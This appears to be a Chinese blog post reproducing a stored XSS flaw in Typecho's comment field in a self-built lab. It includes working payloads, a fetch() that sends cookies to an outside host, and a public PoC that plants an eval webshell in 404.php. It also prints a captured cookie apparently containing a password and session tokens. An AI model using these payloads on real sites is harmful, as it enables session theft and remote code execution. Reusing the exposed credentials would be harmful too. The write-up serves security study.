目录
前言
本文仅用作网络安全学习,实验所用一切环境皆为自身搭建,涉及脚本禁止用于恶意渗透,遵守纪律从你我做起
之前搭博客的时候使用的是typecho,然后有看到文章说typecho<=1.2.0 评论区爆出xss漏洞,就想着去复现下这个漏洞
先搭建一个安装有typecho的环境
在服务器上安装好typecho,然后打开一篇文章
触发漏洞
在填网站的位置输入一个测试代码
http://a.b/"></a><script>alert('hack')</script><a/href="#
可以看到,在前台就直接出现弹窗了
再访问数据库查看,可以看到,恶意代码已经被插入其中
以上可看出这是一个存储型xss漏洞
模拟攻击者操作
自己尝试进行利用。。。(结果失败了😂)
进行简单利用一下
尝试窃取用户的cookie
http://a.b/"></a><script>alert('cookie:'+document.cookie)</script><a/href="#
然后不出所料,弹窗上显示了cookie
模拟被攻击者访问这个文章,出现了当前用户的cookie:
Cookie: __gsas=ID=4d7d759b4c82f636:T=1690014531:RT=1690014531:S=ALNI_MYgnsmVQ1jTFEbw4Djp-PxASzpxEA; __typecho_lang=zh_CN; __typecho_config=YTo3OntzOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7czo4OiJ1c2VyTmFtZSI7czo0OiJyb290IjtzOjEyOiJ1c2VyUGFzc3dvcmQiO3M6OToiSm9rZXIxNDEyIjtzOjg6InVzZXJNYWlsIjtzOjI0OiJ3ZWJtYXN0ZXJAeW91cmRvbWFpbi5jb20iO3M6NzoiYWRhcHRlciI7czoxMDoiUGRvX1NRTGl0ZSI7czo3OiJzaXRlVXJsIjtzOjE4OiJodHRwczovL2xhbjFvYy5sb2wiO3M6NDoiZmlsZSI7czo2ODoiL2hvbWUvdTQ3Mjg5NTMwOS9kb21haW5zL2xhbjFvYy5sb2wvcHVibGljX2h0bWwvdXNyLzY0YmI5ZTIxMjA4ZmQuZGIiO30%3D; _ga=GA1.2.136013342.1690022226; _gid=GA1.2.704794256.1690022226; _ga_9Q6H0QETRF=GS1.2.1690022226.1.1.1690023947.60.0.0; dbd467a22454ae05c4bdfd8f479b9d02__typecho_uid=1; dbd467a22454ae05c4bdfd8f479b9d02__typecho_authCode=%24T%24GtpcSbG85bbd0333bec3cda4b921d84b713afad29; PHPSESSID=8oef9oi00fkg177efo2r29knke
被攻击者的cookie
但是这种以弹窗方式获取cookie无法利用,因为弹窗上显示的cookie只有用户本身能看到,攻击者无法直接获得,可以通过远程接收来获得
攻击者服务器搭建
过程放笔记里了
接收cookie
更改恶意代码然后注入到数据库
http://a.b/"></a><script>fetch('http://192.168.152.133:8000/getcookie.php?cookie='+document.cookie)</script><a/href="#
然后模拟被攻击者访问这篇文章,再去看看cookie是否被获取
用命令进入容器进行交互
docker exec -it 61f2815db25c bash
结果并没有cookie写入,经过一番尝试,后来也用vps试了下也没成功,应该失败不只是这个容器不处于公网的原因,还因为浏览器有自身的安全策略,然后应该是被这些策略阻断了
公开的poc
介绍
根据poc,能获取cookie,并且在404.php中写入一句话shell
运用到以下两个脚本
jQuery.js
function step1(){
var data2="<iframe id=\"testxss\" src=\"https://www.lan1oc.lol/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
var oldata=document.body.innerHTML;
document.body.innerHTML=(oldata+data2);}
var times=0;
var g_shell=0;
function poc(){
if(times<=10){
var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
htmldata.innerText=('<?php eval($_POST[1]);');
btn[1].click();
times+=1;
if(g_shell==1){
var xhr1=new XMLHttpRequest();
xhr1.open('get','/usr/themes/default/404.php?shell=1');
xhr1.send();
}
else{
return 0;
}
}
}
step1();
cookie.js
var website = "http://192.168.152.133:8000";
(function() {
// 创建一个新的 Image 对象
var img = new Image();
// 构造请求 URL,其中包含了当前页面的信息和用户的 Cookie
var requestURL =
website +
'/?keepsession=1&location=' +
escape(function() {
try {
return document.location.href;
} catch (e) {
return '';
}
}()) +
'&toplocation=' +
escape(function() {
try {
return top.location.href;
} catch (e) {
return '';
}
}()) +
'&cookie=' +
escape(function() {
try {
return document.cookie;
} catch (e) {
return '';
}
}()) +
'&opener=' +
escape(function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
} catch (e) {
return '';
}
}());
// 设置 Image 对象的 src 属性为请求 URL,从而发送请求
img.src = requestURL;
})();
keepsession、location两参数可自行更改,并且需要编写一个接收请求的文件来处理这些参数
具体流程
这里我要做了rce的复现,在评论区植入恶意代码
http://xxx.xxx.com/"></a><script/src=https://lan1oc.co/js/jQuery.js></script><a/href="#
然后管理员要在后台进行评论审核时就会达成执行脚本的条件,jQuery.js执行后,会修改404.php模板文件,写入一句话木马
<?php eval($_POST[1]);
用户只需要访问/usr/themes/default/404.php,然后post传参就能rce
并且能看到404.php的源码已被篡改
结语
因为水平问题,复现过程进行的磕磕绊绊的,希望在往后的学习中能够逐渐提高😤